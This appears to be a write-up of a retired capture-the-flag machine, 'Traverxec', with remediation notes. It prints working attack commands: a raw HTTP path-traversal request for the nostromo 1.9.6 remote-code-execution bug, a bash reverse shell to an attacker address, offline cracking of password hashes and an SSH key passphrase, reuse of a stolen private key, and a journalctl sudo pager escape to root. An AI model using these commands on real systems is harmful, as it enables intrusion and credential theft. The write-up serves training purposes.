Traverxec
Summary
I exploited a critical path-traversal remote code execution bug in the nostromo 1.9.6 web server (CVE-2019-16278) to gain a shell as the web-service account www-data. Post-exploitation enumeration exposed david's encrypted SSH private key inside a world-readable directory served by the web server.
Cracking the key's passphrase offline provided SSH login as david. A misconfigured sudo rule that allowed david to run /usr/bin/journalctl as root was then abused through the standard GTFOBins pager escape to spawn a fully interactive root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -p 80 --open $TARGETsearchsploit nostromo 1.9.6FixPatch or replace the nostromo web serverCritical
Exact commands 2
python3 - <<'PY'
import socket
host="$TARGET"; port=80
body=b'echo\necho\nid\n'
req=(b'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'
b'Host: '+host.encode()+b'\r\n'
b'Content-Length: '+str(len(body)).encode()+b'\r\n\r\n'+body)
s=socket.create_connection((host,port),5)
s.sendall(req)
s.shutdown(socket.SHUT_WR)
print(s.recv(4096).decode('latin1','replace'))
PYpython3 47837.py $TARGET 80 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'Exact commands 3
cat /var/nostromo/conf/nhttpd.confcat /var/nostromo/conf/.htpasswdjohn --wordlist=/usr/share/wordlists/rockyou.txt htpasswd.txtFixRestrict access to credential files used by the web serverHigh
Exact commands 4
ls -la /home/david/public_www/protected-file-area/cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/cd /tmp && tar xzf backup-ssh-identity-files.tgzcp /tmp/home/david/.ssh/id_rsa /tmp/traverxec_david_id_rsa && chmod 600 /tmp/traverxec_david_id_rsaFixRemove sensitive files from web-accessible home directories and disable homedirsCritical
Exact commands 3
ssh2john /tmp/traverxec_david_id_rsa > /tmp/id_rsa.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt /tmp/id_rsa.hashssh-keygen -p -P "$PASSWORD" -N '' -f /tmp/traverxec_david_id_rsaFixEnforce strong SSH key passphrases and remove exposed key materialHigh
Exact commands 2
ssh -i /tmp/traverxec_david_id_rsa -o StrictHostKeyChecking=no david@$TARGETcat /home/david/user.txtExact commands 3
sudo -ltimeout 20 bash -lc "(sleep 1; printf '!/bin/sh\n'; sleep 1; printf 'id\ncat /root/root.txt\n') | ssh -tt -o StrictHostKeyChecking=no -i /tmp/traverxec_david_id_rsa david@$TARGET 'stty rows 5 cols 80; sudo /usr/bin/journalctl -n5 -unostromo.service'"stty rows 5 cols 80 && sudo /usr/bin/journalctl -n5 -unostromo.serviceFixRemove sudo access to journalctl and audit all sudo rules for pager-invoking binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 80/tcp | http nostromo 1.9.6 |